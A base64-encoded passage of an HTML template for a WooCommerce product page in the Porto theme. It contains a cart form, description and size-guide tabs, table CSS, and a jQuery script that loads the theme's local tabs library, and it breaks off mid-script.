ICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIHt7ZGV0YWlsX2JyZWFkY3J1bWJ9fQ0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvc2VjdGlvbj4NCg0KICAgICAgICA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY29sdW1uMSBib3hlZCI+PCEtLSBtYWluIC0tPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSJjb250ZW50LWFyZWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtYWluIGlkPSJjb250ZW50IiBjbGFzcz0ic2l0ZS1tYWluIj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indvb2NvbW1lcmNlLW5vdGljZXMtd3JhcHBlciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InByb2R1Y3QtaXRlbSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0icHJvZHVjdCB0eXBlLXByb2R1Y3QgcG9zdC1pdGVtIHN0YXR1cy1wdWJsaXNoIGZpcnN0IGluc3RvY2sgaGFzLXBvc3QtdGh1bWJuYWlsIHNhbGUgc2hpcHBpbmctdGF4YWJsZSBwdXJjaGFzYWJsZSBwcm9kdWN0LXR5cGUtc2ltcGxlIHByb2R1Y3QtbGF5b3V0LWRlZmF1bHQiPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwcm9kdWN0LXN1bW1hcnktd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3VtbWFyeS1iZWZvcmUgY29sLW1kLTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGFiZWxzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJvbnNhbGUiPi00MCU8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9pbWFnZXN9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdW1tYXJ5IGVudHJ5LXN1bW1hcnkgY29sLW1kLTciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF90aXRsZX19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2RldGFpbF9wcm9kdWN0X3ByaWNlfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3RfbWV0YSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9tZXRhfX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJjYXJ0IiBhY3Rpb249Ii8iIG1ldGhvZD0icG9zdCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVhbnRpdHkgYnV0dG9uc19hZGRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiB2YWx1ZT0iLSIgY2xhc3M9Im1pbnVzIj4tPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU9Im51bWJlciINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZD0icXVhbnRpdHlfNjY0ZWUxODcwZGVlYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iaW5wdXQtdGV4dCBxdHkgdGV4dCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGVwPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1pbj0iMSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXg9IjQ4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5hbWU9InF1YW50aXR5Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlPSIxIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJRdHkiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2l6ZT0iNCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iIiBpbnB1dG1vZGU9Im51bWVyaWMiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHZhbHVlPSIrIiBjbGFzcz0icGx1cyI+KzwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkZC10by1jYXJ0IiBjbGFzcz0ic2luZ2xlX2FkZF90b19jYXJ0X2J1dHRvbiBidXR0b24gYWx0IGFkZF90b19jYXJ0X21heCBwb3J0by1hZGQtdG8tY2FydCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZCB0byBjYXJ0DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIvY2FydCIgdGFiaW5kZXg9IjEiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9IndjLWFjdGlvbi1idG4gdmlldy1jYXJ0LWJ0biBidXR0b24gd2MtZm9yd2FyZCI+Vmlldw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJ0PC9hPjwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gLnN1bW1hcnkgLS0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZS10YWJzIHdvb2NvbW1lcmNlLXRhYnMtbWMyc2NxNnkgcmVzcC1odGFicyIgaWQ9InByb2R1Y3QtdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InJlc3AtdGFicy1saXN0IiByb2xlPSJ0YWJsaXN0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJkZXNjcmlwdGlvbl90YWIiIGlkPSJ0YWItdGl0bGUtZGVzY3JpcHRpb24iIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1kZXNjcmlwdGlvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imdsb2JhbF90YWJfdGFiIiBpZD0idGFiLXRpdGxlLWdsb2JhbF90YWIiIHJvbGU9InRhYiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1nbG9iYWxfdGFiIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpemUgR3VpZGUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVzcC10YWJzLWNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZGVzY3JpcHRpb24iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDI+RGVzY3JpcHRpb248L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3tkZXRhaWxfcHJvZHVjdF9kZXNjcmlwdGlvbn19DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGFiLWNvbnRlbnQiIGlkPSJ0YWItZ2xvYmFsX3RhYiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayIgZGF0YS1pZD0iNTI3Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3R5bGU+LnNpemVzLXRhYmxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb2xvcjogIzIxMjkzYzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGhlYWQgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGYyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5zaXplcy10YWJsZSB0Ym9keSB0cjpudGgtY2hpbGQoMm4pID4gKiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlYmViZWI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMzBweCAwIDMwcHggMTBweDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDAgMTJweCAxMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogNTc2cHgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnNpemVzLXRhYmxlIHRoZWFkIHRoOmZpcnN0LWNoaWxkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuc2l6ZXMtdGFibGUgdGJvZHkgdGggew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAzMHB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwb3J0b19pbml0X2Rlc2NfdGFiID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbiAoJCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgJHRhYnMgPSAkKCcud29vY29tbWVyY2UtdGFicy1tYzJzY3E2eScpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGluaXRfdGFicygkdGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMuZWFzeVJlc3BvbnNpdmVUYWJzKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnZGVmYXVsdCcsIC8vVHlwZXM6IGRlZmF1bHQsIHZlcnRpY2FsLCBhY2NvcmRpb24NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aWR0aDogJ2F1dG8nLCAvL2F1dG8gb3IgYW55IHdpZHRoIGxpa2UgNjAwcHgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaXQ6IHRydWUsICAgLy8gMTAwJSBmaXQgaW4gYSBjb250YWluZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY3RpdmF0ZTogZnVuY3Rpb24gKGV2ZW50KSB7IC8vIENhbGxiYWNrIGZ1bmN0aW9uIGlmIHRhYiBpcyBzd2l0Y2hlZA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkLmZuLmVhc3lSZXNwb25zaXZlVGFicykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzX3NyYyA9ICIvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9lYXN5LXJlc3BvbnNpdmUtdGFicy5taW4uanMiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkKCdzY3JpcHRbc3JjPSInICsganNfc3JjICsgJyJdJykubGVuZ3RoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGpzID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJChqcykuYXBwZW5kVG8oJ2JvZHknKS5vbignbG9hZCcsIGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KS5hdHRyKCdzcmMnLCBqc19zcmMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5pdF90YWJzKCR0YWJzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkcmV2aWV3X2NvbnRlbnQgPSAkdGFicy5maW5kKCcjdGFiLXJldmlld3MnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXZpZXdfdGl0bGUxID0gJHRhYnMuZmluZCgnaDJbYXJpYS1jb250cm9scz10YWJfaXRlbS0wXScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIgPSAkdGFicy5maW5kKCdsaVthcmlhLWNvbnRyb2xzPXRhYl9pdGVtLTBdJyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ29SZXZpZXdUYWIodGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgcmVjYWxjX3BvcyA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRyZXZpZXdfY29udGVudC5sZW5ndGggJiYgJHJldmlld19jb250ZW50LmNzcygnZGlzcGxheScpID09ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlY2FsY19wb3MgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcmV2aWV3X3RpdGxlMS5sZW5ndGggJiYgJHJldmlld190aXRsZTEuY3NzKCdkaXNwbGF5JykgIT0gJ25vbmUnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmV2aWV3X3RpdGxlMS5jbGljaygpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYgKCRyZXZpZXdfdGl0bGUyLmxlbmd0aCAmJiAkcmV2aWV3X3RpdGxlMi5jbG9zZXN0KCd1bCcpLmNzcygnZGlzcGxheScpICE9ICdub25lJykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJldmlld190aXRsZTIuY2xpY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGRlbGF5ID0gcmVjYWxjX3BvcyA/IDQwMCA6IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkKCdodG1sLCBib2R5Jykuc3RvcCgpLmFuaW1hdGUoew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IHRhcmdldC5vZmZzZXQoKS50b3AgLSB0aGVtZS5TdGlja3lIZWFkZXIuc3RpY2t5X2hlaWdodCAtIHRoZW1lLmFkbWluQmFySGVpZ2h0KCkgLSAxNA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sIDYwMCwgJ2Vhc2VPdXRRdWFkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCBkZWxheSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBnb0FjY29yZGlvblRhYih0YXJnZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBsYWJlbCA9IHRhcmdldC5hdHRyKCdhcmlhLWNvbnRyb2xzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyICR0YWJfY29udGVudCA9ICR0YWJzLmZpbmQoJy5yZXNwLXRhYi1jb250ZW50W2FyaWEtbGFiZWxsZWRieT0iJyArIGxhYmVsICsgJyJdJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0YWJfY29udGVudC5sZW5ndGggJiYgJHRhYl9jb250ZW50LmNzcygnZGlzcGxheScpICE9ICdub25lJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgb2Zmc2V0ID0gdGFyZ2V0Lm9mZnNldCgpLnRvcCAtIHRoZW1lLlN0aWNreUhlYWRlci5zdGlja3lfaGVpZ2h0IC0gdGhlbWUuYWRtaW5CYXJIZWlnaHQoKSAtIDE0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAob2Zmc2V0IDwgJCh3aW5kb3cpLnNjcm9sbFRvcCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnaHRtbCwgYm9keScpLnN0b3AoKS5hbmltYXRlKHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzY3JvbGxUb3A6IG9mZnNldA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwgNjAwLCAnZWFzZU91dFF1YWQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZ28gdG8gcmV2aWV3cywgd3JpdGUgYSByZXZpZXcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnLndvb2NvbW1lcmNlLXJldmlldy1saW5rLCAud29vY29tbWVyY2Utd3JpdGUtcmV2aWV3LWxpbmsnKS5vbignY2xpY2snLCBmdW5jdGlvbiAoZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg